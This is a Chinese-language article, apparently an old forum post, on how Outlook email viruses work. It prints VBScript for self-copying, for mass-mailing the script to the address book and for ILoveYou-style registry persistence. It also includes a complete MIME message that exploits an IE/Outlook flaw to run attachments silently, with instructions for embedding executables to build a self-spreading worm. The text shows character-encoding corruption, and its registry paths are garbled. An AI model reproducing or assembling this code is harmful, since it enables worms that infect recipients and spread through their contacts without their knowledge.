據(jù)稱目前已經(jīng)發(fā)現(xiàn)唯一不能通過OutLook傳播的病毒口蹄疫已經(jīng)被發(fā)現(xiàn),看來微軟也可以得以一陣子了。開個(gè)玩笑,OutLook在傳播病毒上真是臭名昭著,像iloveyou,梅莉莎等等產(chǎn)生過很大破壞力的病毒都是通過OutLook傳播的。其根本原因就是OutLook的人性化,與腳本的高度集成,復(fù)雜性等等,正是由于這些原因?qū)е铝瞬《镜膫鞑ァ?
下面我們看一下OutLook傳播病毒的機(jī)理:
首先看看病毒的幾大特征:自我復(fù)制性,傳播性,潛伏性。我們收先看看自我復(fù)制性。病毒要向傳播必須將自身復(fù)制借由其他郵件或本身發(fā)送出去,OutLook傳播的病毒基本上都是由VBScript編寫的,其自我復(fù)制的原理基本上是利用程序?qū)⒈旧淼哪_本內(nèi)容復(fù)制一份到一個(gè)臨時(shí)文件,然后再在傳播的環(huán)節(jié)將其作為附件發(fā)送出去。我們看看腳本是怎么樣完成這個(gè)功能的。
Set so=CreateObject("Scripting.FileSystemObject")
so.GetFile(WScript.ScriptFullName).Copy("C:dateiname.vbs")
就是這么兩行就可以將自身復(fù)制到c盤根目錄下dateiname.vbs這個(gè)文件。第一行是創(chuàng)建一個(gè)文件系統(tǒng)對象,第二行前面是打開這個(gè)腳本文件,WScript.ScriptFullName指明是這個(gè)程序本身,是一個(gè)完整的路徑文件名。GetFile函數(shù)獲得這個(gè)文件,Copy函數(shù)將這個(gè)文件復(fù)制到c盤根目錄下dateiname.vbs這個(gè)文件。這就是大多數(shù)利用VBscript編寫的病毒的一個(gè)特點(diǎn)。從這里可以看出,禁止了FileSystemObject這個(gè)對象就可以很有效的控制這種病毒的傳播。下面的這條命令可以禁止文件系統(tǒng)對象。
regsvr32 scrrun.dll /u
我們再看看傳播性。病毒需要傳播,電子郵件病毒的傳播無疑是通過電子郵件傳播的。對于OutLook來說地址簿的功能相當(dāng)不錯(cuò),可是也給病毒的傳播打開了方便之門。幾乎所有通過OutLook傳播的電子郵件病毒都是向地址簿中存儲(chǔ)的電子郵件地址發(fā)送內(nèi)同相同的腳本附件完成的。看看如下的代碼:
Set ol=CreateObject("Outlook.Application")
On Error Resume Next
For x=1 To 50
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject="Betreff der E-Mail"
Mail.Body="Text der E-Mail"
Mail.Attachments.Add("C:dateiname.vbs")
Mail.Send
Next
ol.Quit
這一小段代碼的功能是向地址簿中的前50個(gè)用戶發(fā)送電子郵件,并將腳本自己作為附件。第一行是創(chuàng)建一個(gè)Outlook的對象。下面是一個(gè)循環(huán),在循環(huán)中不斷地向地址簿中的電子郵件地址發(fā)送內(nèi)容相同的信件。
至于潛伏,則多數(shù)是修改注冊表等信息以判斷各種條件及取消一些限制。比如下面從Iloveyou病毒中取出的部分代碼:
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout",0,"REG_DWORD"
end if
很明顯是調(diào)整腳本語言的超是設(shè)置。下面的一段代碼則是修改注冊表,使得每次系統(tǒng)啟動(dòng)自動(dòng)執(zhí)行腳本:
regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMSKernel32",dirsystem&"MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesWin32DLL",dirwin&"Win32DLL.vbs"
其中MSKernel32.vbs和Win32DLL.vbs是病毒腳本的一個(gè)副本。
ILoveYou病毒還做了一些其它的修改。
從上面可以看出其實(shí)寫一個(gè)通過OutLook傳播的電子郵件病毒很簡單。但是作為附件傳播,這種傳播的效率可能就會(huì)打些折扣。下面的一種方法是根據(jù)最新的IE的漏洞利用的。下面是這個(gè)漏洞的一些情況:
From: "xxxxx"
Subject: mail
Date: Thu, 2 Nov 2000 13:27:33 +0100
MIME-Version: 1.0
Content-Type: multipart/related;
type="multipart/alternative";
boundary="1"
X-Priority: 3
X-MSMail-Priority: Normal
--1
Content-Type: multipart/alternative;
boundary="2"
--2
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<HTML>
<HEAD>
</HEAD>
<BODY bgColor=3D#ffffff>
<iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe>
I will create the file C:deleteme.txt<BR>
</BODY>
</HTML>
--2--
--1
Content-Type: audio/x-wav;
name="hello.vbs"
Content-Transfer-Encoding: quoted-printable
Content-ID: <THE-CID>
set objFileSystem =3D CreateObject("Scripting.FileSystemObject")
set objOutputFile =3D objFileSystem.CreateTextFile("C:deleteme.txt", 1)
objOutputFile.writeline("You can delete this file.")
objOutputFile.close
msgbox "I have created the file : c:deleteme.txt"
--1
上面的這個(gè)程序的例子是表明當(dāng)雙擊附件的時(shí)候OutLook是不會(huì)提示你安全信息的,它是直接執(zhí)行的。這僅僅是將整個(gè)上面這些作為附件發(fā)送的情況。其實(shí)這個(gè)文件直接發(fā)送給對方,對方只要將焦點(diǎn)移到這一主題上就會(huì)執(zhí)行這個(gè)腳本。因此這一漏洞將更加有效的傳播電子郵件病毒。產(chǎn)生上面這個(gè)漏洞的原因大概是采用HTML發(fā)送方式其背景音樂文件沒有作檢查,導(dǎo)致腳本,應(yīng)用程序等被執(zhí)行。采用不同的編碼就可以將腳本,命令行命令,可執(zhí)行文件等內(nèi)嵌在郵件中。注意上面的一行:
name="hello.vbs"
這個(gè)文件名可以任意命名,如果是腳本則需要vbs擴(kuò)展名,如果是命令行命令則應(yīng)該是bat或cmd結(jié)尾。如果是腳本或這種文本方式的命令,則編碼方式應(yīng)為:quoted-printable
Content-Transfer-Encoding: quoted-printable
如果是應(yīng)用程序則文件名應(yīng)該改為exe擴(kuò)展名:
name="hello.exe"
編碼方式應(yīng)該改為uuMime(base64)編碼:
Content-Transfer-Encoding: quoted-printable
然后將應(yīng)用程序進(jìn)行base64編碼插入到:
Content-ID: <THE-CID>
--1
之間。這樣就構(gòu)造好了一封信。發(fā)送的時(shí)候可以選擇quack寫的perl程序,也可以采用我寫的windows上的傻瓜程序。
根據(jù)上面的經(jīng)驗(yàn),可以寫一個(gè)應(yīng)用程序,這個(gè)應(yīng)用程序就是病毒,它首先對自身進(jìn)行base64編碼,然后再將這個(gè)編碼嵌入到上面這個(gè)郵件中,然后向地址簿中的電子郵件地址發(fā)送這個(gè)電子郵件。收到這個(gè)電子郵件的用戶當(dāng)焦點(diǎn)再這個(gè)主題上時(shí)這個(gè)應(yīng)用程序就會(huì)立刻被執(zhí)行而沒有任何提示,執(zhí)行的結(jié)果是和上面一樣,先將自身編碼,在插入到郵件,在向地址簿中的電子郵件地址發(fā)送。如此傳播。問題是應(yīng)用程序?qū)Φ刂凡镜淖x取沒有腳本那么容易,而且應(yīng)用程序的大小也要比腳本大很多。采用腳本編寫的話則在發(fā)送郵件中比較難于處理成一點(diǎn)即運(yùn)行的方式。也許是本人對于腳本語言知之甚少的緣故吧。另外在處理復(fù)制中也有些困難。因?yàn)樵倭硪欢藞?zhí)行時(shí)腳文件值包含這些腳本命令,而不包含上面的額外的東西。所以處理起來也比較困難。
以上是我的一點(diǎn)點(diǎn)看法,有些地方可能不對,還請各位大俠批評指正。